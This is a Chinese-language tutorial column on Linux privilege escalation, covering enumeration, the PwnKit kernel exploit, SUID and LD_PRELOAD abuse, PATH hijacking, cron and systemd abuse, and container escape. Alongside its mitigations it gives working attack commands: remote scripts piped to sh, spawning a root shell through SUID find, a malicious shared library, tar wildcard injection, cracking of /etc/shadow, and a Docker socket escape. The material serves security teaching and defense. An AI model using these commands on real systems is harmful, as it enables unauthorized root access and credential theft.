2025年Linux提权实战:从内核漏洞到容器逃逸的攻防体系

📅 2026/7/5 7:00:10 👁️ 阅读次数 📝 编程学习
2025年Linux提权实战:从内核漏洞到容器逃逸的攻防体系

1. 项目概述:为什么2025年我们依然要深入Linux提权?

如果你是一名渗透测试工程师、红队成员,或者是一名对系统安全有浓厚兴趣的运维、开发人员,那么“提权”这个词对你来说一定不陌生。它就像一把双刃剑,在攻击者手中是打开系统最高权限大门的钥匙,而在防御者手中,则是检验自身防线坚固程度的试金石。2025年的今天,尽管云原生、容器化、零信任架构等概念大行其道,但Linux系统作为服务器和云基础设施的绝对主力,其内核安全、配置安全、应用安全依然是攻防对抗的核心战场。一个配置不当的SUID程序、一个未及时修补的内核漏洞、一段脆弱的定时任务脚本,都可能成为从普通用户跃升为root用户的致命跳板。

我写这个专栏,不是为了教人如何作恶,恰恰相反,是为了“以攻促防”。只有透彻理解攻击者是如何一步步撬开系统权限枷锁的,你才能在设计架构、编写代码、配置系统时,真正地堵上那些看似微不足道、实则隐患无穷的安全缺口。本专栏将摒弃那些零散、过时的技巧堆砌,致力于为你构建一个系统化、层次清晰、紧跟2025年最新攻防态势的Linux提权知识体系。我们将从最基础的信息收集开始,逐步深入到内核漏洞利用、服务配置滥用、密码与凭证攻击、sudo权限滥用、计划任务与服务漏洞、文件权限与SUID/GUID程序、环境变量劫持、容器逃逸等核心领域,并结合大量实战案例和自动化工具,让你不仅能看懂,更能亲手复现和防御。

2. 提权前的基石:系统性信息收集与枚举

在尝试任何提权操作之前,盲目行动是最低效且最易被察觉的行为。专业的安全测试始于周密的信息收集。你需要像一位侦探,细致地勘察“犯罪现场”——也就是你当前受限的用户环境,寻找一切可能指向更高权限的线索。

2.1 系统与内核信息探查

了解目标系统的整体概况是第一步。这能帮你快速判断系统的“年龄”和可能存在的已知漏洞。

  • 系统版本与内核信息

    # 查看系统发行版信息 cat /etc/*-release uname -a # 查看内核版本及架构 uname -r uname -m

    这些命令的输出能告诉你这是Ubuntu 22.04还是CentOS 7,内核是5.x还是更老的3.x版本。老版本系统往往对应着更多已公开的提权漏洞。

  • 环境变量与路径

    # 查看当前用户的环境变量 env # 查看PATH变量,特别注意是否有当前用户可写的目录 echo $PATH

    PATH环境变量中如果包含当前用户可写的目录(如/tmp/dev/shm或用户家目录下的某个bin文件夹),就可能为后续的路径劫持提权创造条件。

2.2 用户、组与权限深度枚举

权限的核心在于用户和组。你需要清晰地知道“我是谁”、“我能以谁的身份运行命令”。

  • 当前用户与特权用户

    # 当前用户信息 id whoami # 查看系统中有哪些用户,特别是uid为0的root用户和其他高权限用户 cat /etc/passwd # 查看哪些用户有sudo权限 sudo -l

    sudo -l命令至关重要。如果当前用户被授予了无需密码即可以root身份运行特定命令的权限(例如(ALL) NOPASSWD: /usr/bin/vim),那么提权可能在一瞬间完成。

  • 历史命令与敏感文件

    # 查看当前用户的命令历史 history # 查找包含密码、密钥的配置文件 find / -name “*.php” -type f -exec grep -l “password” {} \; 2>/dev/null find /home -name “*.txt” -o -name “*.sql” -o -name “*.bak” 2>/dev/null

    命令历史中可能包含其他用户(甚至是root)误操作留下的密码。各种Web配置文件、数据库备份文件里也可能硬编码着访问凭证。

2.3 进程、服务与网络状态分析

运行中的进程和服务是系统的动态体现,也是常见的提权入口。

  • 进程与服务枚举

    # 查看以root身份运行的非系统关键进程 ps aux | grep root | grep -v “\[“ | head -20 # 查看系统启动的服务 systemctl list-units --type=service --state=running # 对于旧系统 service --status-all

    寻找那些以root权限运行,但配置文件或二进制文件当前用户可修改的服务。例如,一个Web服务以root运行,但其配置文件/etc/myapp/config.conf对当前用户可写,那么修改配置文件并重启服务就可能执行任意代码。

  • 网络与开放端口

    # 查看本地监听端口及对应进程 netstat -tulpn ss -tulpn # 检查是否有服务只绑定在127.0.0.1,但可以从内部进行利用

    内部服务(如数据库、缓存、管理面板)如果配置不当(如弱密码、未授权访问),可能成为进一步横向移动或获取敏感信息的跳板。

2.4 自动化枚举工具的使用

手动枚举虽然全面,但效率较低。在实际渗透测试中,我们通常会借助自动化脚本进行初步扫描。最著名的工具是LinEnumLinPEAS

  • LinPEAS:这是目前功能最强大的Linux本地枚举脚本之一。它颜色高亮显示高危发现,检查范围极广。
    # 下载并运行LinPEAS curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh # 或者如果无法直接下载,先传到目标机器再执行 ./linpeas.sh
    LinPEAS会自动化执行我们上面提到的几乎所有手动检查,并以非常直观的方式输出结果,将潜在的攻击路径(如可写的服务文件、危险的sudo权限、内核漏洞)标记出来,极大提升了信息收集的效率。

注意:自动化工具动静较大,容易被入侵检测系统(IDS/HIDS)发现。在高度敏感的环境中,建议优先使用手动命令进行低噪音枚举。

3. 内核漏洞利用:从CVE到Root Shell

内核是操作系统的核心,拥有最高权限。内核中的漏洞(CVE)一旦被利用,通常可以直接获得root权限。这是最“经典”也最有效的提权方式之一。

3.1 内核漏洞利用的基本流程

  1. 信息收集:首先使用uname -a确定内核版本和发行版。
  2. 漏洞匹配:根据内核版本,搜索公开的漏洞利用代码(Exploit)。资源包括Exploit-DB、GitHub、安全研究人员的博客。
  3. 环境准备:检查目标系统是否具备漏洞利用所需的编译环境(gcc,make)和依赖库。
  4. 编译与执行:将Exploit代码上传到目标机器,编译并运行。
  5. 稳定性考量:很多内核Exploit可能导致系统崩溃(内核恐慌)。需要评估测试环境的容忍度。

3.2 经典内核漏洞案例解析(2025年视角)

虽然老漏洞依然存在于未更新的系统中,但我们需要关注较新的漏洞。这里以CVE-2021-4034 (PwnKit)为例,因为它影响范围极广,且利用极其稳定。

  • 漏洞原理:Polkit(原名PolicyKit)是Linux系统中用于控制非特权进程与特权进程通信的组件。其pkexec工具中存在一个本地权限提升漏洞,源于环境变量处理不当(GLibc库中argc为0时的边界错误),导致攻击者可以诱使pkexec执行任意代码。
  • 影响范围:2009年5月至今的所有pkexec版本(几乎所有主流发行版默认安装)。
  • 利用特征:无需编译,通常是一个独立的C程序,利用成功率接近100%,且不会导致系统崩溃。
  • 利用步骤
    1. 将公开的PwnKit exploit代码(如cve-2021-4034.c)上传到目标服务器。
    2. 直接使用gcc编译:gcc cve-2021-4034.c -o pwnkit
    3. 运行:./pwnkit。成功后会直接打开一个root shell。
  • 防御措施:及时更新系统补丁。对于无法立即更新的系统,可以移除pkexec的SUID位作为临时缓解:chmod 0755 /usr/bin/pkexec

3.3 利用自动化工具搜索漏洞

手动搜索匹配漏洞效率低。我们可以使用像Linux Exploit Suggester这样的工具。

# 下载并运行Linux Exploit Suggester wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh chmod +x les.sh ./les.sh

这个脚本会根据当前系统的内核版本,自动从互联网数据库匹配可能适用的本地提权漏洞,并给出CVE编号和利用代码的获取途径,是实战中的利器。

实操心得:内核漏洞利用虽然强大,但存在两大风险。一是系统稳定性风险,劣质的exploit极易导致内核崩溃,在真实生产环境测试需极其谨慎。二是检测风险,利用内核漏洞的行为(如加载特定内核模块、调用非常用系统调用)容易被高级安全软件(如EDR)捕获。因此,它常作为“最后一击”的手段,在获取足够信息且其他方法无效时使用。

4. 滥用SUID/GUID与文件权限

SUID(Set User ID)和SGID(Set Group ID)是Linux文件权限中的特殊标志位。当具有SUID位的可执行文件被运行时,它会以文件所有者的权限执行,而不是执行者的权限。如果这个文件的所有者是root,且程序本身存在漏洞或配置不当,就可能被用来提权。

4.1 发现危险的SUID/GUID文件

第一步是找到所有设置了SUID/SGID位的文件。

# 查找所有SUID文件 find / -perm -4000 -type f 2>/dev/null # 查找所有SGID文件 find / -perm -2000 -type f 2>/dev/null # 查找所有SUID或SGID文件 find / -perm -u=s -o -perm -g=s -type f 2>/dev/null

常见的、本应具有SUID位的系统二进制文件包括/bin/passwd,/bin/su,/usr/bin/sudo。我们需要关注的是那些不常见的、或者功能强大的命令。

4.2 经典SUID提权案例

  • 案例一:利用find命令find命令如果被设置了SUID位,并且属于root,我们可以利用它的-exec参数执行任意命令。

    # 假设发现 /usr/bin/find 有SUID位且属主为root /usr/bin/find . -exec /bin/sh \; -quit

    执行后,会直接获得一个root shell。防御措施很简单:确保find等不应具有SUID位的工具没有被错误设置。

  • 案例二:利用vim/vi或编辑器如果vimvinano等编辑器具有SUID root权限,可以在其中通过调用shell来提权。

    # 在vim中 :!sh 或者 :set shell=/bin/sh :shell

    同样,确保编辑器没有不必要的SUID位。

  • 案例三:利用共享对象(SO)注入这是一种更高级的技巧。某些SUID程序在运行时,会动态加载共享库(.so文件)。如果我们可以控制环境变量(如LD_PRELOAD,LD_LIBRARY_PATH),或者程序在当前目录搜索库文件,就可能注入恶意的共享库。

    1. 编写一个恶意的C库,在_init()函数中执行setuid(0); system(“/bin/sh”);
    2. 编译成共享库:gcc -fPIC -shared -o evil.so evil.c
    3. 通过控制环境变量,让SUID程序加载我们的evil.so
      LD_PRELOAD=./evil.so /path/to/suid_program

    这种方法需要对目标程序的行为有一定了解。

4.3 防御SUID/GUID滥用

  • 原则:遵循最小权限原则。除非绝对必要,否则不要给任何文件设置SUID/SGID位。
  • 审计:定期使用上述find命令审查系统内的SUID/SGID文件,与干净的系统快照进行对比。
  • 加固:使用chmod u-s /path/to/filechmod g-s /path/to/file移除不必要的特殊权限位。
  • 文件系统限制:对于不可变文件,可以使用chattr +i /path/to/file防止被修改(包括权限位)。但要注意,这可能会影响正常系统更新。

5. 环境变量与路径劫持

Linux中很多程序的行为依赖于环境变量。错误的环境变量配置可能被利用来提权,尤其是当与SUID程序或sudo权限结合时。

5.1 PATH环境变量劫持

这是最常见的环境变量攻击之一。如果一个SUID程序或者一个sudo允许的命令,在代码中使用了类似system(“ls”)popen(“ls”, “r”)的调用(即不指定命令的绝对路径),那么系统会在PATH环境变量指定的目录中寻找名为ls的可执行文件。

  • 攻击场景

    1. 假设我们通过sudo -l发现可以无密码运行/usr/sbin/service apache2 restart
    2. 查看service脚本(通常是一个Shell脚本),发现其中可能调用了start-stop-daemon或其他未使用绝对路径的命令。
    3. 我们将当前目录(.)或一个我们可写的目录(如/tmp)添加到PATH的最前面:export PATH=/tmp:$PATH
    4. /tmp目录下创建一个名为start-stop-daemon的恶意脚本,内容为/bin/bash
    5. 执行sudo /usr/sbin/service apache2 restartservice脚本会在PATH中寻找start-stop-daemon,首先找到我们创建的恶意脚本并以root权限执行,从而获得root shell。
  • 防御措施

    • 在编写脚本或程序时,永远使用绝对路径来调用系统命令。
    • 在sudo配置中,可以通过secure_path指令来固定sudo执行时的PATH环境变量,忽略用户设置的PATH

5.2 LD_PRELOAD与LD_LIBRARY_PATH劫持

这两个环境变量用于控制动态链接器加载共享库的顺序。

  • LD_PRELOAD:指定一个共享库文件,该库会在其他所有库之前被加载。
  • LD_LIBRARY_PATH:指定搜索共享库的额外路径。

如果SUID程序允许用户控制这些环境变量(现代Linux系统出于安全考虑,默认会忽略SUID程序中的这些变量,但并非所有程序都受到保护),就可以实现共享库注入攻击,如前文SUID部分所述。

  • 检查是否受保护:可以通过一个简单的SUID测试程序来检查。
    // test.c #include <stdio.h> #include <stdlib.h> int main() { system(“ls”); return 0; }
    编译并设置SUID:gcc test.c -o test_suid && sudo chown root:root test_suid && sudo chmod u+s test_suid。 然后尝试:LD_PRELOAD=./evil.so ./test_suid。如果ls命令被劫持,说明环境变量生效,存在风险。

5.3 Sudo环境变量继承

默认情况下,sudo会重置大部分环境变量,提供一个干净的环境。但可以通过sudo的配置文件(/etc/sudoers)使用env_keep选项来允许特定环境变量被继承。

  • 攻击场景:如果管理员配置了Defaults env_keep += “LD_PRELOAD”,那么用户就可以在sudo时注入自己的共享库。
  • 利用方法
    1. 编写恶意共享库evil.so
    2. export LD_PRELOAD=/path/to/evil.so
    3. 执行任何允许的sudo命令,恶意库会被加载。
  • 防御措施:在/etc/sudoers中,除非绝对必要,否则不要使用env_keep来保留敏感的环境变量,尤其是LD_*系列变量。

6. 计划任务(Cron Jobs)与服务漏洞利用

系统自动执行的任务(Cron)和后台服务(Services)通常以高权限(如root)运行。如果这些任务的脚本、二进制文件或它们的依赖项存在权限配置问题,就可能被利用。

6.1 Cron Jobs提权

Cron任务定义在/etc/crontab文件以及/etc/cron.d//var/spool/cron/crontabs/等目录中。

  • 攻击面一:可写的Cron脚本检查所有Cron任务执行的脚本或命令:

    cat /etc/crontab ls -la /etc/cron.d/ /etc/cron.hourly/ /etc/cron.daily/ /etc/cron.weekly/ /etc/cron.monthly/ ls -la /var/spool/cron/crontabs/ 2>/dev/null

    如果发现某个以root身份周期性执行的脚本(例如/opt/scripts/backup.sh),并且当前用户对这个脚本有写权限,那么直接修改这个脚本,加入反向shell或添加用户等命令,等待Cron执行即可获得root权限。

  • 攻击面二:通配符滥用在某些Cron脚本中,可能会使用tarchownrsync等命令并搭配通配符*。如果参数顺序不当,可能被利用。示例:一个备份脚本tar -cf /backups/backup.tar *。如果当前目录下有用户可控的文件,例如一个名为--checkpoint=1--checkpoint-action=exec=sh shell.sh的文件,tar会将这些文件名解析为命令行参数,从而执行shell.sh。如果这个Cron以root运行,shell脚本就会以root执行。防御:在脚本中使用通配符时,务必在参数前加上--以示结束,如tar -cf /backups/backup.tar -- *

6.2 系统服务(Systemd)漏洞利用

现代Linux发行版普遍使用systemd来管理服务。服务单元文件(.service)通常位于/etc/systemd/system//lib/systemd/system/

  • 攻击面:可写的服务单元文件

    1. 查找所有systemd服务:systemctl list-units --type=service --state=running
    2. 查看某个服务的具体配置:systemctl cat servicename
    3. 检查服务单元文件的权限:ls -la /etc/systemd/system/servicename.service如果当前用户对某个以root运行的服务单元文件有写权限,就可以修改其ExecStartExecStartPreExecStartPost等指令,指向恶意命令,然后重启服务(systemctl restart servicename)或等待系统重启。
  • 攻击面:服务配置文件或依赖项可写有时服务本身不可写,但它加载的配置文件(如通过EnvironmentFile指令)或工作目录(WorkingDirectory)可写。通过修改配置文件注入命令,或者在工作目录放置恶意动态库进行劫持,也可能达到提权目的。

注意事项:修改Cron或Systemd服务文件是破坏性操作,会直接影响系统稳定性,并极易被日志记录(如/var/log/cronjournalctl)。在真实渗透测试中,需权衡利弊,并做好清理痕迹的准备。自动化枚举工具如LinPEAS会高亮标记出可写的Cron脚本和服务文件,这是需要优先检查的高危点。

7. 密码与凭证攻击:从哈希到Shell

如果能够获取到系统的密码哈希,或者找到存储的明文密码、密钥文件,就有可能通过破解或直接使用来提权。

7.1 /etc/shadow哈希提取与破解

Linux系统的用户密码哈希存储在/etc/shadow文件中,普通用户无读取权限。但可以通过多种方式获取其内容:

  • 内核漏洞:如前所述,某些内核漏洞可以绕过权限直接读取任意文件。
  • 错误配置/etc/shadow文件被错误地设置了可读权限(极少见)。
  • 从备份中获取:查找系统备份文件,如/etc/shadow.bak,/home/user/backup/shadow.tar.gz等。
  • 通过可读的数据库/日志文件间接获取:某些应用漏洞可能导致shadow文件内容被泄露到日志或数据库中。

获取到哈希后,可以使用john(John the Ripper) 或hashcat进行破解。

# 使用john破解shadow文件(需要将/etc/passwd和/etc/shadow合并) unshadow /etc/passwd /etc/shadow > hashes.txt john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt # 使用hashcat hashcat -m 1800 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt

-m 1800指定了SHA-512crypt (Unix) 哈希类型,这是现代Linux系统默认的密码哈希算法。

7.2 内存中的密码与敏感信息

有时密码并非存储在磁盘上,而是存在于进程的内存中。

  • 从进程内存转储中搜索:可以使用grep配合/proc/[pid]/mem(需要权限)或工具如strings对系统内存进行搜索。
    # 尝试从所有进程的命令行参数中寻找密码(需要root) ps aux | grep -E ‘pass|pwd|secret|key’ 2>/dev/null # 如果获取了root权限,可以转储内存进行深度分析
  • 利用核心转储:如果某个以高权限运行的服务(如数据库)崩溃并生成了核心转储文件(core dump),而这个文件当前用户可读,那么其中可能包含敏感信息。可以在系统中搜索core*.core文件。

7.3 SSH密钥利用

如果获取了root用户或其他高权限用户的私钥(id_rsa,id_dsa等),可以直接通过SSH登录。

  • 寻找密钥文件
    find / -name “id_rsa” -o -name “id_dsa” -o -name “*.pem” 2>/dev/null find /home -name “.ssh” -type d 2>/dev/null
  • 利用:将找到的私钥文件下载到本地,使用ssh -i private_key user@target_ip进行连接。注意,私钥文件通常有严格的权限(600),如果权限太开放,SSH客户端会拒绝使用。
  • ** authorized_keys**:检查~/.ssh/authorized_keys文件。如果当前用户可写,可以直接将自己的公钥追加进去,实现免密登录。

8. 容器环境下的提权与逃逸

随着云原生的发展,容器(Docker, containerd)已成为常态。容器内的提权(Container Escape)是2025年必须掌握的高级技能。

8.1 容器内信息收集

首先判断自己是否在容器中,以及容器的配置情况。

# 检查 /.dockerenv 文件或 /proc/1/cgroup ls -la /.dockerenv cat /proc/1/cgroup | grep -i docker || cat /proc/1/cgroup | grep -i kubepods # 检查可用能力(Capabilities) cat /proc/self/status | grep CapEff # 或者使用 capsh 工具 capsh --print # 检查挂载的卷 mount df -h

8.2 常见的容器逃逸路径

  • 特权容器(Privileged Container):如果容器以--privileged标志运行,它几乎拥有宿主机的所有能力。可以通过在容器内挂载宿主机根文件系统来逃逸。

    # 在特权容器内 mkdir /host mount /dev/sda1 /host # 需要先fdisk -l确定设备 # 现在可以访问 /host/etc/shadow, /host/root/.ssh 等 chroot /host /bin/bash # 切换到宿主机根环境
  • 滥用Docker Socket挂载:如果容器内挂载了宿主机的Docker Socket文件(/var/run/docker.sock),就可以在容器内直接与宿主机的Docker守护进程通信,从而在宿主机上运行新的特权容器。

    # 在容器内,安装docker客户端或使用curl与API交互 # 方式一:使用docker命令(如果已安装) docker -H unix:///var/run/docker.sock run -it --rm -v /:/host ubuntu chroot /host bash # 方式二:使用curl调用Docker API # 创建一个挂载了宿主机根目录的新容器 curl -XPOST --unix-socket /var/run/docker.sock -H “Content-Type: application/json” -d ‘{“Image”:”alpine”, “Cmd”:[“/bin/sh”], “HostConfig”:{“Binds”:[“/:/host”]}}’ http://localhost/containers/create?name=escape curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/escape/start # 然后通过exec进入这个容器,即可访问宿主机文件系统
  • 滥用内核漏洞:容器与宿主机共享内核。因此,宿主机的内核漏洞同样会影响容器。在容器内利用内核漏洞提权,获得的是宿主机内核的root权限,从而实现逃逸。前面提到的内核漏洞利用方法在容器内同样适用。

  • 滥用SYS_ADMIN等危险能力:即使不是特权容器,如果被授予了SYS_ADMIN能力,也可能通过挂载cgroup设备等方式进行逃逸(例如著名的cgroup release_agent逃逸技术)。

实操心得:容器逃逸的本质是突破“命名空间”和“控制组(cgroup)”的隔离。在实战中,自动化工具如CDK (Container DucK)非常有用。它是一款针对容器环境的渗透工具包,内置了多种信息收集和逃逸检测模块,能快速识别潜在的逃逸路径。在获得容器内shell后,可以尝试上传并运行CDK进行自动化评估。防御容器逃逸需要严格遵循最小权限原则:避免使用特权容器、限制不必要的能力、只挂载必需的卷、及时更新宿主内核和容器运行时。